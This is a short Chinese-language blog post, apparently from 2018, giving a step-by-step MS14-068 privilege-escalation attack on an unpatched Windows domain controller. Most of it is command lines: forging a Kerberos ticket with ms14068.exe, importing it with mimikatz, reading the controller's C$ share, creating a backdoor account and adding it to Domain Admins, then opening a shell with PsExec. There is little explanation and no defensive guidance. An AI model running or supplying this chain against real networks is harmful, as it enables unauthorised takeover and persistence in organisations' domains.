域渗透：MS14-068

发表于 2018-08-26 | 分类于 windows安全 | | 阅读次数:

字数统计: 164 字 | 阅读时长 ≈ 3 分钟

ms14-068漏洞在域控没有打补丁（kb3011780）时，能将任意域用户，提升为域管理员权限。
详细介绍：深入解读MS14-068漏洞

ms14068.exe 伪造kerberos票据

1 2	ms1m 4068.exe -u test@domaintest.com -p 123456 -s S-1-5-21-1607545464-3564583392-2085136103-1114 -d WIN-0IQJV7P073G.domaintest.com

mimikatz 导入票据

1	mimikatz.exe "kerberos::ptc TGT_test@domaintest.com.ccache" exit

拿到域管理权限便可进行其他一系列操作

dir \\WIN-0IQJV7P073G.domaintest.com\c$    注意这里应为域控主机名称，不能为ip

net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain

PsExec.exe \\192.168.111.129 cmd.exe